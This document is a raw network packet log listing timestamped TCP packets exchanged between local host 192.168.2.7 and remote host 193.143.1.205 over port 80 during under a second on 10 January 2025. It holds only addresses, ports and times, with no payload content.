Jan 10, 2025 14:04:06.684597015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.684686899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.684705019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.684721947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.684731960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.684758902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.684784889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.701756954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.701771975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.701833010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.701838970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.701853037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.701864004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.701889038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.740758896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.740782976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.740814924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.741545916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.741564989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.741576910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.741586924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.741597891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.741600990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.741646051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.767494917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.767510891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.767522097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.767564058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.767674923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.767685890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.767714024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.807457924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.807490110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.807502985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.807519913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.807554960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.807667017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.807679892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.807692051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.807718039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.807751894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.807765007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.807791948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.808131933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.808162928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.808173895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.808377981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.808388948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.808399916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.808417082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.808434963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.808482885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.808494091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.808506012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.808525085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.808590889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.808629990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.809283972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.809294939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.809305906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.809330940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.809350014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.809362888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.809384108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.809487104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.809499979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.809525013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.810138941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.810183048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.810221910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.810235023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.810245991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.810270071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.810306072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.810317993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.810328960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.810348988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.810374975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.811100960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811113119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811124086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811142921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.811155081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811167955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811177969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811188936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811192036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.811208963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.811892033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811912060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811942101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.811965942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.811978102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.812001944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.812118053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.812129974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.812141895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.812155008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.812186003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.812834978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.812860012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.812871933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.812894106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.813041925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813054085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813066006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813076019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813080072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.813107967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.813668966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813707113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813718081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813735962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.813752890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.813810110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813822031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813874006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.813875914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813889027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.813921928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.814629078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.814642906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.814655066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.814666986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.814675093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.814707994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.815120935 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.836920977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.836947918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.836961031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.836972952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.836994886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.837042093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.837071896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837090969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837102890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837111950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837119102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837132931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.837167978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.837187052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837198973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837209940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837222099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.837249994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.837274075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837285995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837296009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.837316990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.853699923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.853714943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.853728056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.853753090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.853776932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.866013050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.866025925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.866069078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.893666983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893682003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893699884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893712044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893723965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893733978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.893737078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893783092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.893784046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893852949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893863916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893888950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.893920898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893933058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.893958092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.894011021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.894023895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.894033909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.894053936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.894083977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.894115925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.894191980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.894201994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.894227982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.894296885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.894308090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.894319057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.894335985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.894359112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.932704926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.932729006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.932740927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.932769060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.932776928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.932790995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.932823896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.932910919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.932923079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.932948112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.932971001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.932982922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.932993889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933003902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933006048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933028936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933075905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933113098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933188915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933202982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933243036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933247089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933259010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933295965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933320999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933332920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933367014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933433056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933444023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933454990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933466911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933479071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933509111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933599949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933613062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933624029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933634996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933650017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933674097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933710098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933787107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933796883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933818102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933908939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933919907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933931112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933942080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933947086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933954000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.933965921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.933994055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.934087038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934098005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934132099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934143066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934145927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.934181929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.934257030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934268951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934279919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934322119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.934406996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934418917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934429884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934441090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934448004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.934452057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934463978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934473991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.934501886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.934663057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934676886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934688091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934699059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.934704065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.934730053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.937608004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937622070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937638998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937650919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937657118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.937664986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937685013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.937701941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.937711954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937724113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937758923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.937817097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937829971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937840939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937851906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937854052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.937906027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.937973976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937985897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.937997103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938009024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938019037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938050032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938095093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938122988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938133955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938155890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938201904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938214064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938236952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938313961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938325882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938337088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938348055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938355923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938361883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938370943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938402891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938572884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938602924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938613892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938638926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938695908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938709021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938730001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938811064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938822985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938834906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938846111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938846111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938867092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938913107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.938946962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.938960075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.939801931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.939858913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.939871073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.939893961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.939938068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.939949989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.939975023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.939980030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940011024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940013885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.940074921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940085888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940097094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940109968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.940134048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.940211058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940222979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940253019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940253019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.940264940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940278053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940299034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.940315008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.940336943 CET	49699	80	192.168.2.7	193.143.1.205
